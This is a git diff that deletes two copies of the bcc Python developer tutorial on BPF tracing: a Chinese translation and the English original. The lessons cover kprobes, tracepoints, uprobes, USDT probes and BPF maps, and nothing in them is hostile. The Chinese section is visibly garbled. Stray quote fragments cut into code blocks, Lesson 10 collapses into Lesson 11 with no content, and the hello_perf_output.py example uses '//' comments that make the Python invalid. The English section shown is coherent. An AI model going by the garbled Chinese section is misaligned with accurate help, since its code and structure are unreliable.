bpf_trace_printk("你好,世界!\\n"); - return 0; -} -""" - -# 加载 BPF 程序 -b = BPF(text=prog) -b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello") - -# 头部 -print("%-18s %-16s %-6s %s" % ("时间(s)", "进程名", "进程 ID", "消息")) - -# 格式化输出 -while 1: - try: - (task, pid, cpu, flags, ts, msg) = b.trace_fields() - except ValueError: - continue - print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg)) -``` - -这与hello_world.py类似,并通过sys_clone()再次跟踪新进程,但是还有一些要学习的内容: - -1. `prog =`:这次我们将C程序声明为变量,然后引用它。如果您想根据命令行参数添加一些字符串替换,这将非常有用。 - -1. `hello()`:现在我们只是声明了一个C函数,而不是使用`kprobe__`的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行,因此它们都需要以`pt_reg* ctx`作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数,则需要将其定义为`static inline`,以便由编译器内联。有时您还需要为其添加`_always_inline`函数属性。 - -1. `b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello")`:为内核clone系统调用函数创建一个kprobe,该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe(),并将您的C函数附加到多个内核函数上。 - -1. `b.trace_fields()`:从trace_pipe中返回一组固定的字段。与trace_print()类似,它对于编写脚本很方便,但是对于实际的工具化需求,我们应该切换到BPF_PERF_OUTPUT()。 - -### Lesson 4. sync_timing.py - -还记得以前系统管理员在缓慢的控制台上输入`sync`三次然后才重启吗?后来有人认为`sync;sync;sync`很聪明,将它们都写在一行上运行,尽管这违背了最初的目的!然后,sync变成了同步操作,所以更加愚蠢。无论如何。 - -以下示例计算了`do_sync`函数被调用的速度,并且如果它在一秒钟之内被调用,则输出信息。`sync;sync;sync`将为第2个和第3个sync打印输出: - -```sh -# examples/tracing/sync_timing.py -追踪快速sync... 按Ctrl-C结束"。 -``` - -在时间0.00秒时:检测到多个同步,上次发生在95毫秒前 -在时间0.10秒时:检测到多个同步,上次发生在96毫秒前 - -此程序是[examples/tracing/sync_timing.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/sync_timing.py): - -```Python -from __future__ import print_function -from bcc import BPF - -# 加载BPF程序 -b = BPF(text=""" -#include - -BPF_HASH(last); - -int do_trace(struct pt_regs *ctx) { - u64 ts, *tsp, delta, key = 0; - - // 尝试读取存储的时间戳 - tsp = last.lookup(&key); - if (tsp != NULL) { - delta = bpf_ktime_get_ns() - *tsp; - if (delta < 1000000000) { - // 时间小于1秒则输出 - bpf_trace_printk("%d\\n", delta / 1000000); - } - last.delete(&key); - } - - // 更新存储的时间戳 - ts = bpf_ktime_get_ns(); - last.update(&key, &ts); - return 0; -} -""") - -b.attach_kprobe(event=b.get_syscall_fnname("sync"), fn_name="do_trace") -print("跟踪快速同步... 按Ctrl-C结束") - -# 格式化输出 -start = 0 -while 1: - (task, pid, cpu, flags, ts, ms) = b.trace_fields() - if start == 0: - start = ts - ts = ts - start - print("在时间%.2f秒处:检测到多个同步,上次发生在%s毫秒前" % (ts, ms)) -``` - -学习内容: - -1. ```bpf_ktime_get_ns()```: 返回时间,单位为纳秒。 -1. ```BPF_HASH(last)```: 创建一个BPF映射对象,类型为哈希(关联数组),名为"last"。我们没有指定其他参数,因此默认的键和值类型为u64。 -1. ```key = 0```: 我们只会在哈希中存储一个键值对,其中键被硬编码为零。 -1. ```last.lookup(&key)```: 在哈希中查找键,并如果存在则返回其值的指针,否则返回NULL。我们将键作为指针的地址传递给该函数。 -1. ```if (tsp != NULL) {```: 验证器要求在将从映射查找得到的指针值解引用使用之前,必须先检查其是否为null。1. ```last.delete(&key)```: 从哈希表中删除key。目前需要这样做是因为[`.update()`中存在一个内核错误](https://git.kernel.org/cgit/linux/kernel/git/davem/net.git/commit/?id=a6ed3ea65d9868fdf9eff84e6fe4f666b8d14b02)(在4.8.10中已经修复)。 -1. ```last.update(&key, &ts)```: 将第二个参数的值与key关联起来,覆盖之前的任何值。这会记录时间戳。 - -### 第5课. sync_count.py - -修改sync_timing.py程序(前一课)以存储所有内核同步系统调用(包括快速和慢速)的计数,并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。 - -### 第6课. disksnoop.py - -浏览[examples/tracing/disksnoop.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/disksnoop.py)程序以了解新内容。以下是一些示例输出: - -```sh -# disksnoop.py -时间(s) T 字节 延迟(ms) -16458043.436012 W 4096 3.13 -16458043.437326 W 4096 4.44 -16458044.126545 R 4096 42.82 -16458044.129872 R 4096 3.24 -[...] -``` - -以及代码片段: - -```Python -[...] -REQ_WRITE = 1 # 来自include/linux/blk_types.h - -# 加载BPF程序 -b = BPF(text=""" -#include -#include - -BPF_HASH(start, struct request *); - -void trace_start(struct pt_regs *ctx, struct request *req) { - // 使用请求指针存储开始时间戳 - u64 ts = bpf_ktime_get_ns(); - - start.update(&req, &ts); -} - -void trace_completion(struct pt_regs *ctx, struct request *req) { - u64 *tsp, delta; - - tsp = start.lookup(&req); - if (tsp != 0) { - delta = bpf_ktime_get_ns() - *tsp; - bpf_trace_printk("%d %x %d\\n", req->__data_len, - req->cmd_flags, delta / 1000); - start.delete(&req); - } -} -""") -if BPF.get_kprobe_functions(b'blk_start_request'): - b.attach_kprobe(event="blk_start_request", fn_name="trace_start") -b.attach_kprobe(event="blk_mq_start_request", fn_name="trace_start") -if BPF.get_kprobe_functions(b'__blk_account_io_done'): - b.attach_kprobe(event="__blk_account_io_done", fn_name="trace_completion") else: b.attach_kprobe(event="blk_account_io_done", fn_name="trace_completion") - [...] -``` - -学习内容: - -1. ```REQ_WRITE```: 我们在Python程序中定义了一个内核常量,因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE,它应该可以正常工作(无需定义),只需使用适当的```#includes```。 -2. ```trace_start(struct pt_regs *ctx, struct request*req)```: 这个函数将在后面附加到kprobe上。kprobe函数的参数是```struct pt_regs *ctx```,用于寄存器和BPF上下文,然后是函数的实际参数。我们将把它附加到blk_start_request()上,其中第一个参数是```struct request*```。 -3. ```start.update(&req, &ts)```: 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键,因为它们是唯一的:两个结构体不能具有相同的指针地址。(只需小心何时释放和重用指针。)所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳,以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID(用于记录函数入口到返回的时间)。 -4. ```req->__data_len```: 我们在解引用```struct request```的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列```bpf_probe_read_kernel()```调用。有时bcc无法处理复杂的解引用,此时您需要直接调用```bpf_probe_read_kernel()```。 - -这是一个非常有趣的程序,如果您能理解所有的代码,您就会理解很多重要的基础知识。我们仍然在使用```bpf_trace_printk()```的技巧,我们下一步要解决这个问题。 - -### Lesson 7. hello_perf_output.py - -让我们最终停止使用bpf_trace_printk(),并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员,如PID和时间戳,并且需要直接获取它们。在另一个会话中运行命令时的示例输出 - -```sh -# hello_perf_output.py -TIME(s) COMM PID MESSAGE -0.000000000 bash 22986 你好,perf_output! -0.021080275 systemd-udevd 484 你好,perf_output! -0.021359520 systemd-udevd 484 你好,perf_output! -0.021590610 systemd-udevd 484 你好,perf_output! -[...] -``` - -代码位于[examples/tracing/hello_perf_output.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/hello_perf_output.py): - -```Python -from bcc import BPF - -// 定义BPF程序 -prog = """ -#include - -// 在C中定义输出数据结构 -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_PERF_OUTPUT(events); - -int hello(struct pt_regs *ctx) { - struct data_t data = {}; - - data.pid = bpf_get_current_pid_tgid(); - data.ts = bpf_ktime_get_ns(); - bpf_get_current_comm(&data.comm, sizeof(data.comm)); - - events.perf_submit(ctx, &data, sizeof(data)); - - return 0; -} -""" - -// 加载BPF程序 -b = BPF(text=prog) -b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello") - -//标题 -print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "MESSAGE")) - -//处理事件 -start = 0 -def print_event(cpu, data, size): - global start - event = b["events"].event(data) - if start == 0: - start = event.ts - time_s = (float(event.ts - start)) / 1000000000 - print("%-18.9f %-16s %-6d %s" % (time_s, event.comm, event.pid, "你好,perf_output!")) - -//循环并回调print_event -b["events"].open_perf_buffer(print_event) -while 1: - b.perf_buffer_poll() -``` - -学习的内容: - -1. ```struct data_t```: 这定义了一个C结构体,我们将用它来从内核传递数据到用户空间。1. `BPF_PERF_OUTPUT(events)`: 这里给我们的输出通道命名为"events"。 -1. `struct data_t data = {};`: 创建一个空的`data_t`结构体,我们将在之后填充它。 -1. `bpf_get_current_pid_tgid()`: 返回低32位的进程ID(内核视图中的PID,用户空间中通常被表示为线程ID),以及高32位的线程组ID(用户空间通常认为是PID)。通过直接将其设置为`u32`,我们丢弃了高32位。应该显示PID还是TGID?对于多线程应用程序,TGID将是相同的,所以如果你想要区分它们,你需要PID。这也是对最终用户期望的一个问题。 -1. `bpf_get_current_comm()`: 将当前进程的名称填充到第一个参数的地址中。 -1. `events.perf_submit()`: 通过perf环形缓冲区将事件提交给用户空间以供读取。 -1. `def print_event()`: 定义一个Python函数来处理从`events`流中读取的事件。 -1. `b["events"].event(data)`: 现在将事件作为一个Python对象获取,该对象是根据C声明自动生成的。 -1. `b["events"].open_perf_buffer(print_event)`: 将Python的`print_event`函数与`events`流关联起来。 -1. `while 1: b.perf_buffer_poll()`: 阻塞等待事件。 - -### 第八课。 sync_perf_output.py - -重写之前的课程中的sync_timing.py,使用```BPF_PERF_OUTPUT```。 - -### 第九课。 bitehist.py - -以下工具记录了磁盘I/O大小的直方图。样本输出: - -```sh -# bitehist.py -跟踪中... 按Ctrl-C结束。 -^C - kbytes : count distribution - 0 -> 1 : 3 | | - 2 -> 3 : 0 | | - 4 -> 7 : 211 |********** | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | |".32 -> 63 : 0 | | - 64 -> 127 : 1 | | - 128 -> 255 : 800 |**************************************| -``` - -代码在[examples/tracing/bitehist.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/bitehist.py): - -```Python -from __future__ import print_function -from bcc import BPF -from time import sleep - -# 加载BPF程序 -b = BPF(text=""" -#include -#include - -BPF_HISTOGRAM(dist); - -int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req) -{ - dist.increment(bpf_log2l(req->__data_len / 1024)); - return 0; -} -""") - -# 头部 -print("跟踪中... 按Ctrl-C结束.") - -# 跟踪直到按下Ctrl-C -try: - sleep(99999999) -except KeyboardInterrupt: - print() - -# 输出 -b["dist"].print_log2_hist("kbytes") -``` - -之前课程的总结: - -- ```kprobe__```: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。 -- ```struct pt_regs *ctx, struct request*req```: kprobe的参数。```ctx``` 是寄存器和BPF上下文,```req``` 是被插桩函数 ```blk_account_io_done()``` 的第一个参数。 -- ```req->__data_len```: 解引用该成员。 - -新知识: - -1. ```BPF_HISTOGRAM(dist)```: 定义了一个名为 "dist" 的BPF映射对象,它是一个直方图。 -1. ```dist.increment()```: 默认情况下,将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。 -1. ```bpf_log2l()```: 返回所提供值的对数值。这将成为我们直方图的索引,这样我们构建了一个以2为底的幂直方图。 -1. ```b["dist"].print_log2_hist("kbytes")```: 以2为底的幂形式打印 "dist" 直方图,列标题为 "kbytes"。这样只有桶计数从内核传输到用户空间,因此效率高。 - -### Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py - -这个例子分为独立的Python和C文件。示例输出: - -```sh -# vfsreadlat.py 1 -跟踪中... 按Ctrl-C停止。 - 微秒 : 数量 分布 - 0 -> 1 : 0 | | - 2 -> 3 : 2 |*********** | - 4 -> 7 : 7 |****************************************| - 8 -> 15 : 4 |********************** | - - 微秒 : 数量 分布 - 0 -> 1 : 29 |****************************************| - 2 -> 3 : 28 |************************************** | - 4 -> 7 : 4 |***** | - 8 -> 15 : 8 |*********** | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 0 | | - 128 -> 255 : 0 | | - 256 -> 511 : 2 |** | - 512 -> 1023 : 0 | | - 1024 -> 2047 : 0 | | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 4 |***** | - 8192 -> 16383 : 6 |******** | - 16384 -> 32767 : 9 |************ |```.32768 -> 65535 : 6 |******** | - 65536 -> 131071 : 2 |** | - - usecs : count distribution - 0 -> 1 : 11 |****************************************| - 2 -> 3 : 2 |******* | - 4 -> 7 : 10 |************************************ | - 8 -> 15 : 8 |***************************** | - 16 -> 31 : 1 |*** | - 32 -> 63 : 2 |******* | -[...] -``` - -浏览 [examples/tracing/vfsreadlat.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/vfsreadlat.py) 和 [examples/tracing/vfsreadlat.c](https://github.com/iovisor/bcc/tree/master/examples/tracing/vfsreadlat.c) 中的代码。 - -学习的内容: - -1. `b = BPF(src_file = "vfsreadlat.c")`: 从单独的源代码文件中读取 BPF C 程序。 -2. `b.attach_kretprobe(event="vfs_read", fn_name="do_return")`: 将 BPF C 函数 `do_return()` 链接到内核函数 `vfs_read()` 的返回值上。这是一个 kretprobe:用于检测函数返回值,而不是函数的入口。 -3. `b["dist"].clear()`: 清除直方图。 - -### Lesson 12. urandomread.py - -当运行 `dd if=/dev/urandom of=/dev/null bs=8k count=5` 时进行跟踪: - -```sh -# urandomread.py -TIME(s) COMM PID GOTBITS -24652832.956994001 smtp 24690 384 -24652837.726500999 dd 24692 65536 -24652837.727111001 dd 24692 65536 -24652837.727703001 dd 24692 65536 -24652837.728294998 dd 24692 65536 -24652837.728888001 dd 24692 65536 -``` - -哈!我意外地捕捉到了 smtp。代码在 [examples/tracing/urandomread.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/urandomread.py) 中: - -```Python -from __future__ import print_function".```python -from bcc import BPF - -# 加载BPF程序 -b = BPF(text=""" -TRACEPOINT_PROBE(random, urandom_read) { - // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format - bpf_trace_printk("%d\\n", args->got_bits); - return 0; -} -""") - -# header -print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "GOTBITS")) - -# format output -while 1: - try: - (task, pid, cpu, flags, ts, msg) = b.trace_fields() - except ValueError: - continue - print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg)) -``` - -要学到的东西: - -1. ```TRACEPOINT_PROBE(random, urandom_read)```: 对内核跟踪点 ```random:urandom_read``` 进行注入。这些具有稳定的API,因此在可能的情况下建议使用它们来代替kprobe。您可以运行 ```perf list``` 来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。 -2. ```args->got_bits```: ```args``` 是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如: - -```sh -# cat /sys/kernel/debug/tracing/events/random/urandom_read/format -name: urandom_read -ID: 972 -format: - field:unsigned short common_type; offset:0; size:2; signed:0; - field:unsigned char common_flags; offset:2; size:1; signed:0; - field:unsigned char common_preempt_count; offset:3; size:1; signed:0; - field:int common_pid; offset:4; size:4; signed:1; - - field:int got_bits; offset:8; size:4; signed:1; - field:int pool_left; offset:12; size:4; signed:1; - field:int input_left; offset:16; size:4; signed:1; - -print fmt: "got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d", REC->got_bits, REC->pool_left, REC->input_left -``` - -在这种情况下,我们正在打印 ```got_bits``` 成员。 - -### 第13课. disksnoop.py已修复 - -将上一课的 disksnoop.py 修改为使用 ```block:block_rq_issue``` 和 ```block:block_rq_complete``` 跟踪点。 - -### 第14课. strlen_count.py. - -这个程序对用户级函数进行插桩,其中包括 ```strlen()``` 库函数,并对其字符串参数进行频率统计。例如输出 - -```sh -# strlen_count.py -跟踪 strlen()... 按 Ctrl-C 结束。 -^C 数量 字符串 - 1 " " - 1 "/bin/ls" - 1 "." - 1 "cpudist.py.1" - 1 ".bashrc" - 1 "ls --color=auto" - 1 "key_t" -[...] - 10 "a7:~# " - 10 "/root" - 12 "LC_ALL" - 12 "en_US.UTF-8" - 13 "en_US.UTF-8" - 20 "~" - 70 "#%^,~:-=?+/}" - 340 "\x01\x1b]0;root@bgregg-test: ~\x07\x02root@bgregg-test:~# " -``` - -这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如,"LC_ALL" 被调用了12次。 - -代码在 [examples/tracing/strlen_count.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/strlen_count.py) 中: - -```Python -from __future__ import print_function -from bcc import BPF -from time import sleep - -# 载入 BPF 程序 -b = BPF(text=""" -#include - -struct key_t { - char c[80]; -}; -BPF_HASH(counts, struct key_t); - -int count(struct pt_regs *ctx) { - if (!PT_REGS_PARM1(ctx)) - return 0; - - struct key_t key = {}; - u64 zero = 0, *val; - - bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); - // 也可以使用 `counts.increment(key)` - val = counts.lookup_or_try_init(&key, &zero); - if (val) { - (*val)++; - } - return 0; -}; -""") -b.attach_uprobe(name="c", sym="strlen", fn_name="count") - -# 头部 -print("跟踪 strlen()... 按 Ctrl-C 结束。") - -# 睡眠直到按下 Ctrl-C -try: - sleep(99999999) -except KeyboardInterrupt: - pass - -# 打印输出 -print("%10s %s" % ("数量", "字符串")) -counts = b.get_table("counts") -for k, v in sorted(counts.items(), key=lambda counts: counts[1].value): - print("%10d \"%s\"" % (v.value, k.c.encode('string-escape'))) -``` - -要学习的内容:1. ```PT_REGS_PARM1(ctx)```: 这个参数会获取传递给 ```strlen()``` 的第一个参数,也就是字符串。 - -1. ```b.attach_uprobe(name="c", sym="strlen", fn_name="count")```: 附加到库 "c"(如果这是主程序,则使用其路径名),对用户级函数 ```strlen()``` 进行插装,并在执行时调用我们的 C 函数 ```count()```。 - -### 第15课。nodejs_http_server.py - -本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装,这是内核跟踪点的用户级版本。示例输出: - -```sh -# nodejs_http_server.py 24728 -TIME(s) COMM PID ARGS -24653324.561322998 node 24728 path:/index.html -24653335.343401998 node 24728 path:/images/welcome.png -24653340.510164998 node 24728 path:/images/favicon.png -``` - -来自 [examples/tracing/nodejs_http_server.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/nodejs_http_server.py) 的相关代码: - -```Python -from __future__ import print_function -from bcc import BPF, USDT -import sys - -if len(sys.argv) < 2: - print("USAGE: nodejs_http_server PID") - exit() -pid = sys.argv[1] -debug = 0 - -# load BPF program -bpf_text = """ -#include -int do_trace(struct pt_regs *ctx) { - uint64_t addr; - char path[128]={0}; - bpf_usdt_readarg(6, ctx, &addr); - bpf_probe_read_user(&path, sizeof(path), (void *)addr); - bpf_trace_printk("path:%s\\n", path); - return 0; -}; -""" - -# enable USDT probe from given PID -u = USDT(pid=int(pid)) -u.enable_probe(probe="http__server__request", fn_name="do_trace") -if debug: - print(u.get_text()) - print(bpf_text) - -# initialize BPF -b = BPF(text=bpf_text, usdt_contexts=[u]) -``` - -学习内容: - -1. ```bpf_usdt_readarg(6, ctx, &addr)```: 从 USDT 探测点中读取参数 6 的地址到 ```addr```。 -1. ```bpf_probe_read_user(&path, sizeof(path), (void *)addr)```: 现在字符串 ```addr``` 指向我们的 ```path``` 变量。 -1. ```u = USDT(pid=int(pid))```: 为给定的 PID 初始化 USDT 跟踪。1. ```u.enable_probe(probe="http__server__request", fn_name="do_trace")```: 将我们的 ```do_trace()``` BPF C 函数附加到 Node.js 的 ```http__server__request``` USDT 探针。 -1. ```b = BPF(text=bpf_text, usdt_contexts=[u])```: 需要将我们的 USDT 对象 ```u``` 传递给 BPF 对象的创建。 - -### 第16课. task_switch.c - -这是一个早期的教程,作为额外的课程包含其中。用它来复习和加深你已经学到的内容。 - -这是一个比 Hello World 更复杂的示例程序。该程序将在内核中每次任务切换时被调用,并在一个 BPF 映射中记录新旧进程的 pid。 - -下面的 C 程序引入了一个新的概念:prev 参数。BCC 前端会特殊处理这个参数,从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做,程序就可以无缝访问函数参数。 - -```c -#include -#include - -struct key_t { - u32 prev_pid; - u32 curr_pid; -}; - -BPF_HASH(stats, struct key_t, u64, 1024); -int count_sched(struct pt_regs *ctx, struct task_struct *prev) { - struct key_t key = {}; - u64 zero = 0, *val; - - key.curr_pid = bpf_get_current_pid_tgid(); - key.prev_pid = prev->pid; - - // could also use `stats.increment(key);` - val = stats.lookup_or_try_init(&key, &zero); - if (val) { - (*val)++; - } - return 0; -} -``` - -用户空间组件加载上面显示的文件,并将其附加到 `finish_task_switch` 内核函数上。 -BPF 对象的 `[]` 运算符允许访问程序中的每个 BPF_HASH,允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象:读取、更新和删除操作都是允许的。 - -```python -from bcc import BPF -from time import sleep - -b = BPF(src_file="task_switch.c")".```markdown -```Chinese -b.attach_kprobe(event="finish_task_switch", fn_name="count_sched") - -# 生成多个调度事件 -for i in range(0, 100): sleep(0.01) - -for k, v in b["stats"].items(): - print("task_switch[%5d->%5d]=%u" % (k.prev_pid, k.curr_pid, v.value)) -``` - -这些程序可以在文件 [examples/tracing/task_switch.c](https://github.com/iovisor/bcc/tree/master/examples/tracing/task_switch.c) 和 [examples/tracing/task_switch.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/task_switch.py) 中找到。 - -### 第17课. 进一步研究 - -要进行进一步研究,请参阅 Sasha Goldshtein 的 [linux-tracing-workshop](https://github.com/goldshtn/linux-tracing-workshop),其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。 - -如果您希望为 bcc 贡献工具,请阅读 [CONTRIBUTING-SCRIPTS.md](https://github.com/iovisor/bcc/tree/master/CONTRIBUTING-SCRIPTS.md)。在主要的 [README.md](https://github.com/iovisor/bcc/tree/master/README.md) 的底部,您还会找到与我们联系的方法。祝您好运,祝您成功追踪! - -## 网络 - -TODO diff --git a/src/bcc-documents/tutorial_bcc_python_developer_en.md b/src/bcc-documents/tutorial_bcc_python_developer_en.md deleted file mode 100644 index 7a401c28..00000000 --- a/src/bcc-documents/tutorial_bcc_python_developer_en.md +++ /dev/null @@ -1,724 +0,0 @@ -# bcc Python Developer Tutorial - -This tutorial is about developing [bcc](https://github.com/iovisor/bcc) tools and programs using the Python interface. There are two parts: observability then networking. Snippets are taken from various programs in bcc: see their files for licences. - -Also see the bcc developer's [reference_guide.md](reference_guide.md), and a tutorial for end-users of tools: [tutorial.md](tutorial.md). There is also a lua interface for bcc. - -## Observability - -This observability tutorial contains 17 lessons, and 46 enumerated things to learn. - -### Lesson 1. Hello World - -Start by running [examples/hello_world.py](https://github.com/iovisor/bcc/tree/master/examples/hello_world.py), while running some commands (eg, "ls") in another session. It should print "Hello, World!" for new processes. If not, start by fixing bcc: see [INSTALL.md](https://github.com/iovisor/bcc/tree/master/INSTALL.md). - -```sh -# ./examples/hello_world.py - bash-13364 [002] d... 24573433.052937: : Hello, World! - bash-13364 [003] d... 24573436.642808: : Hello, World! -[...] -``` - -Here's the code for hello_world.py: - -```Python -from bcc import BPF -BPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk("Hello, World!\\n"); return 0; }').trace_print() -``` - -There are six things to learn from this: - -1. ```text='...'```: This defines a BPF program inline. The program is written in C. - -1. ```kprobe__sys_clone()```: This is a short-cut for kernel dynamic tracing via kprobes. If the C function begins with ``kprobe__``, the rest is treated as a kernel function name to instrument, in this case, ```sys_clone()```. - -1. ```void *ctx```: ctx has arguments, but since we aren't using them here, we'll just cast it to ```void *```. - -1. ```bpf_trace_printk()```: A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(), covered later. - -1. ```return 0;```: Necessary formality (if you want to know why, see [#139](https://github.com/iovisor/bcc/issues/139)). - -1. ```.trace_print()```: A bcc routine that reads trace_pipe and prints the output. - -### Lesson 2. sys_sync() - -Write a program that traces the sys_sync() kernel function. Print "sys_sync() called" when it runs. Test by running ```sync``` in another session while tracing. The hello_world.py program has everything you need for this. - -Improve it by printing "Tracing sys_sync()... Ctrl-C to end." when the program first starts. Hint: it's just Python. - -### Lesson 3. hello_fields.py - -This program is in [examples/tracing/hello_fields.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/hello_fields.py). Sample output (run commands in another session): - -```sh -# examples/tracing/hello_fields.py -TIME(s) COMM PID MESSAGE -24585001.174885999 sshd 1432 Hello, World! -24585001.195710000 sshd 15780 Hello, World! -24585001.991976000 systemd-udevd 484 Hello, World! -24585002.276147000 bash 15787 Hello, World! -``` - -Code: - -```Python -from bcc import BPF - -# define BPF program -prog = """ -int hello(void *ctx) { - bpf_trace_printk("Hello, World!\\n"); - return 0; -} -""" - -# load BPF program -b = BPF(text=prog) -b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello") - -# header -print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "MESSAGE")) - -# format output -while 1: - try: - (task, pid, cpu, flags, ts, msg) = b.trace_fields() - except ValueError: - continue - print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg)) -``` - -This is similar to hello_world.py, and traces new processes via sys_clone() again, but has a few more things to learn: - -1. ```prog =```: This time we declare the C program as a variable, and later refer to it. This is useful if you want to add some string substitutions based on command line arguments. - -1. ```hello()```: Now we're just declaring a C function, instead of the ```kprobe__``` shortcut. We'll refer to this later. All C functions declared in the BPF program are expected to be executed on a probe, hence they all need to take a ```pt_reg* ctx``` as first argument. If you need to define some helper function that will not be executed on a probe, they need to be defined as ```static inline``` in order to be inlined by the compiler. Sometimes you would also need to add ```_always_inline``` function attribute to it. - -1. ```b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello")```: Creates a kprobe for the kernel clone system call function, which will execute our defined hello() function. You can call attach_kprobe() more than once, and attach your C function to multiple kernel functions. - -1. ```b.trace_fields()```: Returns a fixed set of fields from trace_pipe. Similar to trace_print(), this is handy for hacking, but for real tooling we should switch to BPF_PERF_OUTPUT(). - -### Lesson 4. sync_timing.py - -Remember the days of sysadmins typing ```sync``` three times on a slow console before ```reboot```, to give the first asynchronous sync time to complete? Then someone thought ```sync;sync;sync``` was clever, to run them all on one line, which became industry practice despite defeating the original purpose! And then sync became synchronous, so more reasons it was silly. Anyway. - -The following example times how quickly the ```do_sync``` function is called, and prints output if it has been called more recently than one second ago. A ```sync;sync;sync``` will print output for the 2nd and 3rd sync's: - -```sh -# examples/tracing/sync_timing.py -Tracing for quick sync's... Ctrl-C to end -At time 0.00 s: multiple syncs detected, last 95 ms ago -At time 0.10 s: multiple syncs detected, last 96 ms ago -``` - -This program is [examples/tracing/sync_timing.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/sync_timing.py): - -```Python -from __future__ import print_function -from bcc import BPF - -# load BPF program -b = BPF(text=""" -#include - -BPF_HASH(last); - -int do_trace(struct pt_regs *ctx) { - u64 ts, *tsp, delta, key = 0; - - // attempt to read stored timestamp - tsp = last.lookup(&key); - if (tsp != NULL) { - delta = bpf_ktime_get_ns() - *tsp; - if (delta < 1000000000) { - // output if time is less than 1 second - bpf_trace_printk("%d\\n", delta / 1000000); - } - last.delete(&key); - } - - // update stored timestamp - ts = bpf_ktime_get_ns(); - last.update(&key, &ts); - return 0; -} -""") - -b.attach_kprobe(event=b.get_syscall_fnname("sync"), fn_name="do_trace") -print("Tracing for quick sync's... Ctrl-C to end") - -# format output -start = 0 -while 1: - (task, pid, cpu, flags, ts, ms) = b.trace_fields() - if start == 0: - start = ts - ts = ts - start - print("At time %.2f s: multiple syncs detected, last %s ms ago" % (ts, ms)) -``` - -Things to learn: - -1. ```bpf_ktime_get_ns()```: Returns the time as nanoseconds. -1. ```BPF_HASH(last)```: Creates a BPF map object that is a hash (associative array), called "last". We didn't specify any further arguments, so it defaults to key and value types of u64. -1. ```key = 0```: We'll only store one key/value pair in this hash, where the key is hardwired to zero. -1. ```last.lookup(&key)```: Lookup the key in the hash, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. -1. ```if (tsp != NULL) {```: The verifier requires that pointer values derived from a map lookup must be checked for a null value before they can be dereferenced and used. -1. ```last.delete(&key)```: Delete the key from the hash. This is currently required because of [a kernel bug in `.update()`](https://git.kernel.org/cgit/linux/kernel/git/davem/net.git/commit/?id=a6ed3ea65d9868fdf9eff84e6fe4f666b8d14b02) (fixed in 4.8.10). -1. ```last.update(&key, &ts)```: Associate the value in the 2nd argument to the key, overwriting any previous value. This records the timestamp. - -### Lesson 5. sync_count.py - -Modify the sync_timing.py program (prior lesson) to store the count of all kernel sync system calls (both fast and slow), and print it with the output. This count can be recorded in the BPF program by adding a new key index to the existing hash. - -### Lesson 6. disksnoop.py - -Browse the [examples/tracing/disksnoop.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/disksnoop.py) program to see what is new. Here is some sample output: - -```sh -# disksnoop.py -TIME(s) T BYTES LAT(ms) -16458043.436012 W 4096 3.13 -16458043.437326 W 4096 4.44 -16458044.126545 R 4096 42.82 -16458044.129872 R 4096 3.24 -[...] -``` - -And a code snippet: - -```Python -[...] 